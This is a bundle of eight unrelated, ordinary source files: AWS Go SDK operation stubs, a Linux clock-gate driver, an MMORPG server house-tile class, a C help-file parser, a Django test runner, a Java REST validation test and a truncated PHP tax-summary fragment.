["// Code generated by smithy-go-codegen DO NOT EDIT.\n\npackage finspace\n\nimport (\n\t\"context\"\n\tawsmiddleware \"github.com/aws/aws-sdk-go-v2/aws/middleware\"\n\t\"github.com/aws/aws-sdk-go-v2/aws/signer/v4\"\n\t\"github.com/aws/smithy-go/middleware\"\n\tsmithyhttp \"github.com/aws/smithy-go/transport/http\"\n)\n\n// Adds metadata tags to a FinSpace resource.\nfunc (c *Client) TagResource(ctx context.Context, params *TagResourceInput, optFns ...func(*Options)) (*TagResourceOutput, error) {\n\tif params == nil {\n\t\tparams = &TagResourceInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"TagResource\", params, optFns, addOperationTagResourceMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*TagResourceOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}\n\ntype TagResourceInput struct {\n\n\t// The Amazon Resource Name (ARN) for the resource.\n\t//\n\t// This member is required.\n\tResourceArn *string\n\n\t// One or more tags to be assigned to the resource.\n\t//\n\t// This member is required.\n\tTags map[string]string\n}\n\ntype TagResourceOutput struct {\n\t// Metadata pertaining to the operation's result.\n\tResultMetadata middleware.Metadata\n}\n\nfunc addOperationTagResourceMiddlewares(stack *middleware.Stack, options Options) (err error) {\n\terr = stack.Serialize.Add(&awsRestjson1_serializeOpTagResource{}, middleware.After)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = stack.Deserialize.Add(&awsRestjson1_deserializeOpTagResource{}, middleware.After)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = addSetLoggerMiddleware(stack, options); err != nil {\n\t\treturn err\n\t}\n\tif err = awsmiddleware.AddClientRequestIDMiddleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = smithyhttp.AddComputeContentLengthMiddleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = addResolveEndpointMiddleware(stack, options); err != nil {\n\t\treturn err\n\t}\n\tif err = v4.AddComputePayloadSHA256Middleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = addRetryMiddlewares(stack, options); err != nil {\n\t\treturn err\n\t}\n\tif err = addHTTPSignerV4Middleware(stack, options); err != nil {\n\t\treturn err\n\t}\n\tif err = awsmiddleware.AddRawResponseToMetadata(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = awsmiddleware.AddRecordResponseTiming(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = addClientUserAgent(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = addRestJsonContentTypeCustomization(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = smithyhttp.AddErrorCloseResponseBodyMiddleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = smithyhttp.AddCloseResponseBodyMiddleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = addOpTagResourceValidationMiddleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = stack.Initialize.Add(newServiceMetadataMiddleware_opTagResource(options.Region), middleware.Before); err != nil {\n\t\treturn err\n\t}\n\tif err = addRequestIDRetrieverMiddleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = addResponseErrorMiddleware(stack); err != nil {\n\t\treturn err\n\t}\n\tif err = addRequestResponseLogging(stack, options); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc newServiceMetadataMiddleware_opTagResource(region string) *awsmiddleware.RegisterServiceMetadata {\n\treturn &awsmiddleware.RegisterServiceMetadata{\n\t\tRegion: region,\n\t\tServiceID: ServiceID,\n\t\tSigningName: \"finspace\",\n\t\tOperationName: \"TagResource\",\n\t}\n}\n", "/*\n * Hisilicon clock separated gate driver\n *\n * Copyright (c) 2012-2013 Hisilicon Limited.\n * Copyright (c) 2012-2013 Linaro Limited.\n *\n * Author: Haojian Zhuang \n *\t Xin Li \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n */\n\n#include \n#include \n#include \n#include \n\n#include \"clk.h\"\n\n/* clock separated gate register offset */\n#define CLKGATE_SEPERATED_ENABLE\t\t0x0\n#define CLKGATE_SEPERATED_DISABLE\t\t0x4\n#define CLKGATE_SEPERATED_STATUS\t\t0x8\n\nstruct clkgate_separated {\n\tstruct clk_hw\thw;\n\tvoid __iomem\t*enable;\t/* enable register */\n\tu8\t\tbit_idx;\t/* bits in enable/disable register */\n\tu8\t\tflags;\n\tspinlock_t\t*lock;\n};\n\nstatic int clkgate_separated_enable(struct clk_hw *hw)\n{\n\tstruct clkgate_separated *sclk;\n\tunsigned long flags = 0;\n\tu32 reg;\n\n\tsclk = container_of(hw, struct clkgate_separated, hw);\n\tif (sclk->lock)\n\t\tspin_lock_irqsave(sclk->lock, flags);\n\treg = BIT(sclk->bit_idx);\n\twritel_relaxed(reg, sclk->enable);\n\treadl_relaxed(sclk->enable + CLKGATE_SEPERATED_STATUS);\n\tif (sclk->lock)\n\t\tspin_unlock_irqrestore(sclk->lock, flags);\n\treturn 0;\n}\n\nstatic void clkgate_separated_disable(struct clk_hw *hw)\n{\n\tstruct clkgate_separated *sclk;\n\tunsigned long flags = 0;\n\tu32 reg;\n\n\tsclk = container_of(hw, struct clkgate_separated, hw);\n\tif (sclk->lock)\n\t\tspin_lock_irqsave(sclk->lock, flags);\n\treg = BIT(sclk->bit_idx);\n\twritel_relaxed(reg, sclk->enable + CLKGATE_SEPERATED_DISABLE);\n\treadl_relaxed(sclk->enable + CLKGATE_SEPERATED_STATUS);\n\tif (sclk->lock)\n\t\tspin_unlock_irqrestore(sclk->lock, flags);\n}\n\nstatic int clkgate_separated_is_enabled(struct clk_hw *hw)\n{\n\tstruct clkgate_separated *sclk;\n\tu32 reg;\n\n\tsclk = container_of(hw, struct clkgate_separated, hw);\n\treg = readl_relaxed(sclk->enable + CLKGATE_SEPERATED_STATUS);\n\treg &= BIT(sclk->bit_idx);\n\n\treturn reg ? 1 : 0;\n}\n\nstatic struct clk_ops clkgate_separated_ops = {\n\t.enable\t\t= clkgate_separated_enable,\n\t.disable\t= clkgate_separated_disable,\n\t.is_enabled\t= clkgate_separated_is_enabled,\n};\n\nstruct clk *hisi_register_clkgate_sep(struct device *dev, const char *name,\n\t\t\t\t const char *parent_name,\n\t\t\t\t unsigned long flags,\n\t\t\t\t void __iomem *reg, u8 bit_idx,\n\t\t\t\t u8 clk_gate_flags, spinlock_t *lock)\n{\n\tstruct clkgate_separated *sclk;\n\tstruct clk *clk;\n\tstruct clk_init_data init;\n\n\tsclk = kzalloc(sizeof(*sclk), GFP_KERNEL);\n\tif (!sclk) {\n\t\tpr_err(\"%s: fail to allocate separated gated clk\\n\", __func__);\n\t\treturn ERR_PTR(-ENOMEM);\n\t}\n\n\tinit.name = name;\n\tinit.ops = &clkgate_separated_ops;\n\tinit.flags = flags | CLK_IS_BASIC;\n\tinit.parent_names = (parent_name ? &parent_name : NULL);\n\tinit.num_parents = (parent_name ? 1 : 0);\n\n\tsclk->enable = reg + CLKGATE_SEPERATED_ENABLE;\n\tsclk->bit_idx = bit_idx;\n\tsclk->flags = clk_gate_flags;\n\tsclk->hw.init = &init;\n\tsclk->lock = lock;\n\n\tclk = clk_register(dev, &sclk->hw);\n\tif (IS_ERR(clk))\n\t\tkfree(sclk);\n\treturn clk;\n}\n", "/**\n * The Forgotten Server - a free and open-source MMORPG server emulator\n * Copyright (C) 2015 Mark Samman \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n */\n\n#include \"otpch.h\"\n\n#include \"housetile.h\"\n#include \"house.h\"\n#include \"game.h\"\n\nextern Game g_game;\n\nHouseTile::HouseTile(int32_t x, int32_t y, int32_t z, House* _house) :\n\tDynamicTile(x, y, z)\n{\n\thouse = _house;\n\tsetFlag(TILESTATE_HOUSE);\n}\n\nvoid HouseTile::addThing(int32_t index, Thing* thing)\n{\n\tTile::addThing(index, thing);\n\n\tif (!thing->getParent()) {\n\t\treturn;\n\t}\n\n\tif (Item* item = thing->getItem()) {\n\t\tupdateHouse(item);\n\t}\n}\n\nvoid HouseTile::internalAddThing(uint32_t index, Thing* thing)\n{\n\tTile::internalAddThing(index, thing);\n\n\tif (!thing->getParent()) {\n\t\treturn;\n\t}\n\n\tif (Item* item = thing->getItem()) {\n\t\tupdateHouse(item);\n\t}\n}\n\nvoid HouseTile::updateHouse(Item* item)\n{\n\tif (item->getParent() != this) {\n\t\treturn;\n\t}\n\n\tDoor* door = item->getDoor();\n\tif (door) {\n\t\tif (door->getDoorId() != 0) {\n\t\t\thouse->addDoor(door);\n\t\t}\n\t} else {\n\t\tBedItem* bed = item->getBed();\n\t\tif (bed) {\n\t\t\thouse->addBed(bed);\n\t\t}\n\t}\n}\n\nReturnValue HouseTile::queryAdd(int32_t index, const Thing& thing, uint32_t count, uint32_t flags, Creature* actor/* = nullptr*/) const\n{\n\tif (const Creature* creature = thing.getCreature()) {\n\t\tif (const Player* player = creature->getPlayer()) {\n\t\t\tif (!house->isInvited(player)) {\n\t\t\t\treturn RETURNVALUE_PLAYERISNOTINVITED;\n\t\t\t}\n\t\t} else {\n\t\t\treturn RETURNVALUE_NOTPOSSIBLE;\n\t\t}\n\t} else if (thing.getItem() && actor) {\n\t\tPlayer* actorPlayer = actor->getPlayer();\n\t\tif (!house->isInvited(actorPlayer)) {\n\t\t\treturn RETURNVALUE_CANNOTTHROW;\n\t\t}\n\t}\n\treturn Tile::queryAdd(index, thing, count, flags, actor);\n}\n\nTile* HouseTile::queryDestination(int32_t& index, const Thing& thing, Item** destItem, uint32_t& flags)\n{\n\tif (const Creature* creature = thing.getCreature()) {\n\t\tif (const Player* player = creature->getPlayer()) {\n\t\t\tif (!house->isInvited(player)) {\n\t\t\t\tconst Position& entryPos = house->getEntryPosition();\n\t\t\t\tTile* destTile = g_game.map.getTile(entryPos);\n\t\t\t\tif (!destTile) {\n\t\t\t\t\tstd::cout << \"Error: [HouseTile::queryDestination] House entry not correct\"\n\t\t\t\t\t << \" - Name: \" << house->getName()\n\t\t\t\t\t << \" - House id: \" << house->getId()\n\t\t\t\t\t << \" - Tile not found: \" << entryPos << std::endl;\n\n\t\t\t\t\tdestTile = g_game.map.getTile(player->getTemplePosition());\n\t\t\t\t\tif (!destTile) {\n\t\t\t\t\t\tdestTile = &(Tile::nullptr_tile);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tindex = -1;\n\t\t\t\t*destItem = nullptr;\n\t\t\t\treturn destTile;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn Tile::queryDestination(index, thing, destItem, flags);\n}\n", "/* \r\n Helpparse.c - help file parser.\r\n\r\n Copyright (C) 2000 Imre Leber\r\n\r\n This program is free software; you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation; either version 2 of the License, or\r\n (at your option) any later version.\r\n\r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with this program; if not, write to the Free Software\r\n Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\r\n\r\n If you have any questions, comments, suggestions, or fixes please\r\n email me at: imre.leber@worldonline.be\r\n*/\r\n\r\n#include \r\n#include \r\n\r\n#include \"hlpread.h\"\r\n\r\nstatic size_t AmofLines;\r\n\r\nstatic char* EmptyString = \"\";\r\n\r\nstatic char** HelpSysData = NULL;\r\n\r\nstatic size_t CountLines(char* RawData, size_t bufsize)\r\n{\r\n size_t count = 0, i = 0;\r\n\r\n while (i < bufsize)\r\n {\r\n if (RawData[i] == '\\r') \r\n {\r\n count++;\r\n if ((i+1 < bufsize) && (RawData[i+1] == '\\n')) i++;\r\n }\r\n else if (RawData[i] == '\\n')\r\n\t count++;\r\n \r\n i++;\r\n }\r\n\r\n return count + 1;\r\n} \r\n \r\nstatic char* GetNextLine(char* input, char** slot, int restinbuf)\r\n{\r\n char* p = input;\r\n int len;\r\n \r\n while ((*p != '\\r') && (*p != '\\n') && restinbuf)\r\n {\r\n p++;\r\n restinbuf--;\r\n }\r\n\r\n len = (int)(p - input);\r\n\r\n if (len)\r\n {\r\n if ((*slot = (char*) malloc(len+1)) == NULL)\r\n return NULL;\r\n\r\n memcpy(*slot, input, (int)(p-input));\r\n *((*slot) + len) = '\\0'; \r\n }\r\n else\r\n *slot = EmptyString;\r\n\r\n if (*(p+1) == '\\n')\r\n return p+2;\r\n else\r\n return p+1;\r\n}\r\n\r\nint ParseHelpFile(char* RawData, size_t bufsize)\r\n{\r\n int i, j;\r\n char* input = RawData;\r\n\r\n AmofLines = CountLines(RawData, bufsize);\r\n\r\n if ((HelpSysData = (char**) malloc(AmofLines * sizeof(char*))) == NULL)\r\n return HELPMEMINSUFFICIENT;\r\n\r\n for (i = 0; i < AmofLines; i++)\r\n {\r\n input = GetNextLine(input, &HelpSysData[i], (int)(bufsize - (input - RawData)));\r\n\r\n if (!input)\r\n {\r\n for (j = 0; j < i; j++)\r\n free(HelpSysData[j]);\r\n free(HelpSysData);\r\n HelpSysData=0;\r\n return HELPMEMINSUFFICIENT;\r\n }\r\n }\r\n return HELPSUCCESS;\r\n}\r\n\r\nsize_t GetHelpLineCount()\r\n{\r\n return AmofLines;\r\n}\r\n\r\nchar* GetHelpLine(int line)\r\n{\r\n return HelpSysData[line];\r\n}\r\n\r\nvoid FreeHelpSysData()\r\n{\r\n int i;\r\n\r\n if (HelpSysData)\r\n {\r\n for (i = 0; i < AmofLines; i++)\r\n {\r\n if (HelpSysData[i] != EmptyString)\r\n free(HelpSysData[i]);\r\n }\r\n free(HelpSysData);\r\n }\r\n HelpSysData = NULL;\r\n}\r\n", "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport logging\n\n__author__ = 'Tim Schneider '\n__copyright__ = \"Copyright 2015, Northbridge Development Konrad & Schneider GbR\"\n__credits__ = [\"Tim Schneider\", ]\n__maintainer__ = \"Tim Schneider\"\n__email__ = \"mail@northbridge-development.de\"\n__status__ = \"Development\"\n\nlogger = logging.getLogger(__name__)\n\n\nimport glob\nimport os\nimport sys\nBASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '../..'))\nprint BASE_DIR\nsys.path.insert(0, os.path.abspath(BASE_DIR))\n\ntry:\n import coverage # Import coverage if available\n cov = coverage.coverage(\n cover_pylib=False,\n config_file=os.path.join(os.path.dirname(__file__), 'coverage.conf'),\n include='%s/*' % BASE_DIR,\n )\n cov.start()\n sys.stdout.write('Using coverage\\n')\nexcept ImportError:\n cov = None\n sys.stdout.write('Coverage not available. To evaluate the coverage, please install coverage.\\n')\n\nimport django\nfrom django.conf import settings\nfrom django.core.management import execute_from_command_line\n\n\n\n# Unfortunately, apps can not be installed via ``modify_settings``\n# decorator, because it would miss the database setup.\nINSTALLED_APPS = (\n 'django_splitdate',\n)\n\nsettings.configure(\n SECRET_KEY=\"django_tests_secret_key\",\n DEBUG=False,\n TEMPLATE_DEBUG=False,\n ALLOWED_HOSTS=[],\n INSTALLED_APPS=INSTALLED_APPS,\n MIDDLEWARE_CLASSES=[],\n ROOT_URLCONF='tests.urls',\n DATABASES={\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n }\n },\n LANGUAGE_CODE='en-us',\n TIME_ZONE='UTC',\n USE_I18N=True,\n USE_L10N=True,\n USE_TZ=True,\n STATIC_URL='/static/',\n # Use a fast hasher to speed up tests.\n PASSWORD_HASHERS=(\n 'django.contrib.auth.hashers.MD5PasswordHasher',\n ),\n FIXTURE_DIRS=glob.glob(BASE_DIR + '/' + '*/fixtures/')\n\n)\n\ndjango.setup()\nargs = [sys.argv[0], 'test']\n# Current module (``tests``) and its submodules.\ntest_cases = '.'\n\n# Allow accessing test options from the command line.\noffset = 1\ntry:\n sys.argv[1]\nexcept IndexError:\n pass\nelse:\n option = sys.argv[1].startswith('-')\n if not option:\n test_cases = sys.argv[1]\n offset = 2\n\nargs.append(test_cases)\n# ``verbosity`` can be overwritten from command line.\n#args.append('--verbosity=2')\nargs.extend(sys.argv[offset:])\n\nexecute_from_command_line(args)\n\nif cov is not None:\n sys.stdout.write('Evaluating Coverage\\n')\n cov.stop()\n cov.save()\n sys.stdout.write('Generating HTML Report\\n')\n cov.html_report()", "/*\n * Copyright 2013, The Sporting Exchange Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// Originally from UpdatedComponentTests/StandardValidation/REST/Rest_IDL_QueryParam_ENUM_blank.xls;\npackage com.betfair.cougar.tests.updatedcomponenttests.standardvalidation.rest;\n\nimport com.betfair.testing.utils.cougar.misc.XMLHelpers;\nimport com.betfair.testing.utils.cougar.assertions.AssertionUtils;\nimport com.betfair.testing.utils.cougar.beans.HttpCallBean;\nimport com.betfair.testing.utils.cougar.beans.HttpResponseBean;\nimport com.betfair.testing.utils.cougar.enums.CougarMessageProtocolRequestTypeEnum;\nimport com.betfair.testing.utils.cougar.manager.AccessLogRequirement;\nimport com.betfair.testing.utils.cougar.manager.CougarManager;\n\nimport org.testng.annotations.Test;\nimport org.w3c.dom.Document;\n\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport java.io.ByteArrayInputStream;\nimport java.sql.Timestamp;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Ensure that Cougar returns the correct fault, when a REST request passes a blank ENUM Query parameter\n */\npublic class RestIDLQueryParamENUMblankTest {\n @Test\n public void doTest() throws Exception {\n // Create the HttpCallBean\n CougarManager cougarManager1 = CougarManager.getInstance();\n HttpCallBean httpCallBeanBaseline = cougarManager1.getNewHttpCallBean();\n CougarManager cougarManagerBaseline = cougarManager1;\n // Get the cougar logging attribute for getting log entries later\n // Point the created HttpCallBean at the correct service\n httpCallBeanBaseline.setServiceName(\"baseline\", \"cougarBaseline\");\n\n httpCallBeanBaseline.setVersion(\"v2\");\n // Set up the Http Call Bean to make the request\n CougarManager cougarManager2 = CougarManager.getInstance();\n HttpCallBean getNewHttpCallBean2 = cougarManager2.getNewHttpCallBean(\"87.248.113.14\");\n cougarManager2 = cougarManager2;\n\n cougarManager2.setCougarFaultControllerJMXMBeanAttrbiute(\"DetailedFaults\", \"false\");\n\n getNewHttpCallBean2.setOperationName(\"enumOperation\");\n\n getNewHttpCallBean2.setServiceName(\"baseline\", \"cougarBaseline\");\n\n getNewHttpCallBean2.setVersion(\"v2\");\n // Set the parameters, setting the ENUM Query parameter as blank\n Map map3 = new HashMap();\n map3.put(\"headerParam\",\"FooHeader\");\n getNewHttpCallBean2.setHeaderParams(map3);\n\n Map map4 = new HashMap();\n map4.put(\"queryParam\",\"\");\n getNewHttpCallBean2.setQueryParams(map4);\n\n getNewHttpCallBean2.setRestPostQueryObjects(DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new ByteArrayInputStream(\"FooBody\".getBytes())));\n // Get current time for getting log entries later\n\n Timestamp getTimeAsTimeStamp11 = new Timestamp(System.currentTimeMillis());\n // Make the 4 REST calls to the operation\n cougarManager2.makeRestCougarHTTPCalls(getNewHttpCallBean2);\n // Create the expected response as an XML document (Fault)\n XMLHelpers xMLHelpers6 = new XMLHelpers();\n Document createAsDocumentXml = xMLHelpers6.getXMLObjectFromString(\"ClientDSC-0044\");\n Document createAsDocumentJson = xMLHelpers6.getXMLObjectFromString(\"ClientDSC-0044\");\n // Convert the expected response to REST types for comparison with actual responses\n Map convertResponseToRestTypesXml = cougarManager2.convertResponseToRestTypes(createAsDocumentXml, getNewHttpCallBean2);\n Map convertResponseToRestTypesJson = cougarManager2.convertResponseToRestTypes(createAsDocumentJson, getNewHttpCallBean2);\n // Check the 4 responses are as expected (Bad Request)\n HttpResponseBean response7 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTXMLXML);\n AssertionUtils.multiAssertEquals(convertResponseToRestTypesXml.get(CougarMessageProtocolRequestTypeEnum.RESTXML), response7.getResponseObject());\n AssertionUtils.multiAssertEquals((int) 400, response7.getHttpStatusCode());\n AssertionUtils.multiAssertEquals(\"Bad Request\", response7.getHttpStatusText());\n\n HttpResponseBean response8 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTJSONJSON);\n AssertionUtils.multiAssertEquals(convertResponseToRestTypesJson.get(CougarMessageProtocolRequestTypeEnum.RESTJSON), response8.getResponseObject());\n AssertionUtils.multiAssertEquals((int) 400, response8.getHttpStatusCode());\n AssertionUtils.multiAssertEquals(\"Bad Request\", response8.getHttpStatusText());\n\n HttpResponseBean response9 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTXMLJSON);\n AssertionUtils.multiAssertEquals(convertResponseToRestTypesXml.get(CougarMessageProtocolRequestTypeEnum.RESTJSON), response9.getResponseObject());\n AssertionUtils.multiAssertEquals((int) 400, response9.getHttpStatusCode());\n AssertionUtils.multiAssertEquals(\"Bad Request\", response9.getHttpStatusText());\n\n HttpResponseBean response10 = getNewHttpCallBean2.getResponseObjectsByEnum(com.betfair.testing.utils.cougar.enums.CougarMessageProtocolResponseTypeEnum.RESTJSONXML);\n AssertionUtils.multiAssertEquals(convertResponseToRestTypesJson.get(CougarMessageProtocolRequestTypeEnum.RESTXML), response10.getResponseObject());\n AssertionUtils.multiAssertEquals((int) 400, response10.getHttpStatusCode());\n AssertionUtils.multiAssertEquals(\"Bad Request\", response10.getHttpStatusText());\n\n // generalHelpers.pauseTest(500L);\n // Check the log entries are as expected\n\n CougarManager cougarManager13 = CougarManager.getInstance();\n cougarManager13.verifyAccessLogEntriesAfterDate(getTimeAsTimeStamp11, new AccessLogRequirement(\"87.248.113.14\", \"/cougarBaseline/v2/enumOperation\", \"BadRequest\"),new AccessLogRequirement(\"87.248.113.14\", \"/cougarBaseline/v2/enumOperation\", \"BadRequest\"),new AccessLogRequirement(\"87.248.113.14\", \"/cougarBaseline/v2/enumOperation\", \"BadRequest\"),new AccessLogRequirement(\"87.248.113.14\", \"/cougarBaseline/v2/enumOperation\", \"BadRequest\") );\n }\n\n}\n", "// Code generated by smithy-go-codegen DO NOT EDIT.\n\npackage managedblockchain\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\tawsmiddleware \"github.com/aws/aws-sdk-go-v2/aws/middleware\"\n\t\"github.com/aws/aws-sdk-go-v2/aws/signer/v4\"\n\t\"github.com/aws/aws-sdk-go-v2/service/managedblockchain/types\"\n\tsmithy \"github.com/awslabs/smithy-go\"\n\t\"github.com/awslabs/smithy-go/middleware\"\n\tsmithyhttp \"github.com/awslabs/smithy-go/transport/http\"\n)\n\n// Creates a proposal for a change to the network that other members of the network\n// can vote on, for example, a proposal to add a new member to the network. Any\n// member can create a proposal.\nfunc (c *Client) CreateProposal(ctx context.Context, params *CreateProposalInput, optFns ...func(*Options)) (*CreateProposalOutput, error) {\n\tstack := middleware.NewStack(\"CreateProposal\", smithyhttp.NewStackRequest)\n\toptions := c.options.Copy()\n\tfor _, fn := range optFns {\n\t\tfn(&options)\n\t}\n\taddawsRestjson1_serdeOpCreateProposalMiddlewares(stack)\n\tawsmiddleware.AddRequestInvocationIDMiddleware(stack)\n\tsmithyhttp.AddContentLengthMiddleware(stack)\n\taddResolveEndpointMiddleware(stack, options)\n\tv4.AddComputePayloadSHA256Middleware(stack)\n\taddRetryMiddlewares(stack, options)\n\taddHTTPSignerV4Middleware(stack, options)\n\tawsmiddleware.AddAttemptClockSkewMiddleware(stack)\n\taddClientUserAgent(stack)\n\tsmithyhttp.AddErrorCloseResponseBodyMiddleware(stack)\n\tsmithyhttp.AddCloseResponseBodyMiddleware(stack)\n\taddIdempotencyToken_opCreateProposalMiddleware(stack, options)\n\taddOpCreateProposalValidationMiddleware(stack)\n\tstack.Initialize.Add(newServiceMetadataMiddleware_opCreateProposal(options.Region), middleware.Before)\n\taddRequestIDRetrieverMiddleware(stack)\n\taddResponseErrorMiddleware(stack)\n\n\tfor _, fn := range options.APIOptions {\n\t\tif err := fn(stack); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\thandler := middleware.DecorateHandler(smithyhttp.NewClientHandler(options.HTTPClient), stack)\n\tresult, metadata, err := handler.Handle(ctx, params)\n\tif err != nil {\n\t\treturn nil, &smithy.OperationError{\n\t\t\tServiceID: ServiceID,\n\t\t\tOperationName: \"CreateProposal\",\n\t\t\tErr: err,\n\t\t}\n\t}\n\tout := result.(*CreateProposalOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}\n\ntype CreateProposalInput struct {\n\n\t// The type of actions proposed, such as inviting a member or removing a member.\n\t// The types of Actions in a proposal are mutually exclusive. For example, a\n\t// proposal with Invitations actions cannot also contain Removals actions.\n\t//\n\t// This member is required.\n\tActions *types.ProposalActions\n\n\t// A unique, case-sensitive identifier that you provide to ensure the idempotency\n\t// of the operation. An idempotent operation completes no more than one time. This\n\t// identifier is required only if you make a service request directly using an HTTP\n\t// client. It is generated automatically if you use an AWS SDK or the AWS CLI.\n\t//\n\t// This member is required.\n\tClientRequestToken *string\n\n\t// The unique identifier of the member that is creating the proposal. This\n\t// identifier is especially useful for identifying the member making the proposal\n\t// when multiple members exist in a single AWS account.\n\t//\n\t// This member is required.\n\tMemberId *string\n\n\t// The unique identifier of the network for which the proposal is made.\n\t//\n\t// This member is required.\n\tNetworkId *string\n\n\t// A description for the proposal that is visible to voting members, for example,\n\t// \"Proposal to add Example Corp. as member.\"\n\tDescription *string\n}\n\ntype CreateProposalOutput struct {\n\n\t// The unique identifier of the proposal.\n\tProposalId *string\n\n\t// Metadata pertaining to the operation's result.\n\tResultMetadata middleware.Metadata\n}\n\nfunc addawsRestjson1_serdeOpCreateProposalMiddlewares(stack *middleware.Stack) {\n\tstack.Serialize.Add(&awsRestjson1_serializeOpCreateProposal{}, middleware.After)\n\tstack.Deserialize.Add(&awsRestjson1_deserializeOpCreateProposal{}, middleware.After)\n}\n\ntype idempotencyToken_initializeOpCreateProposal struct {\n\ttokenProvider IdempotencyTokenProvider\n}\n\nfunc (*idempotencyToken_initializeOpCreateProposal) ID() string {\n\treturn \"OperationIdempotencyTokenAutoFill\"\n}\n\nfunc (m *idempotencyToken_initializeOpCreateProposal) HandleInitialize(ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler) (\n\tout middleware.InitializeOutput, metadata middleware.Metadata, err error,\n) {\n\tif m.tokenProvider == nil {\n\t\treturn next.HandleInitialize(ctx, in)\n\t}\n\n\tinput, ok := in.Parameters.(*CreateProposalInput)\n\tif !ok {\n\t\treturn out, metadata, fmt.Errorf(\"expected middleware input to be of type *CreateProposalInput \")\n\t}\n\n\tif input.ClientRequestToken == nil {\n\t\tt, err := m.tokenProvider.GetIdempotencyToken()\n\t\tif err != nil {\n\t\t\treturn out, metadata, err\n\t\t}\n\t\tinput.ClientRequestToken = &t\n\t}\n\treturn next.HandleInitialize(ctx, in)\n}\nfunc addIdempotencyToken_opCreateProposalMiddleware(stack *middleware.Stack, cfg Options) {\n\tstack.Initialize.Add(&idempotencyToken_initializeOpCreateProposal{tokenProvider: cfg.IdempotencyTokenProvider}, middleware.Before)\n}\n\nfunc newServiceMetadataMiddleware_opCreateProposal(region string) awsmiddleware.RegisterServiceMetadata {\n\treturn awsmiddleware.RegisterServiceMetadata{\n\t\tRegion: region,\n\t\tServiceID: ServiceID,\n\t\tSigningName: \"managedblockchain\",\n\t\tOperationName: \"CreateProposal\",\n\t}\n}\n", "$var;\n }\n\n function summary($rows = [], $return_rows = [], $product_tax = 0, $onCost = false) {\n $code = '';\n if ($this->Settings->invoice_view > 0 && !empty($rows)) {\n $tax_summary = $this->taxSummary($rows, $onCost);\n if (!empty($return_rows)) {\n $return_tax_summary = $this->taxSummary($return_rows, $onCost);\n $tax_summary = $tax_summary + $return_tax_summary;\n }\n $code = $this->genHTML($tax_summary, $product_tax);\n }\n return $code;\n }\n\n function taxSummary($rows = [], $onCost = false) {\n $tax_summary = [];\n if (!empty($rows)) {\n foreach ($rows as $row) {\n if (isset($tax_summary[$row->tax_code])) {\n $tax_summary[$row->tax_code]['items'] += $row->unit_quantity;\n $tax_summary[$row->tax_code]['tax'] += $row->item_tax;\n $tax_summary[$row->tax_code]['amt'] += ($row->unit_quantity * ($onCost ? $row->net_unit_cost : 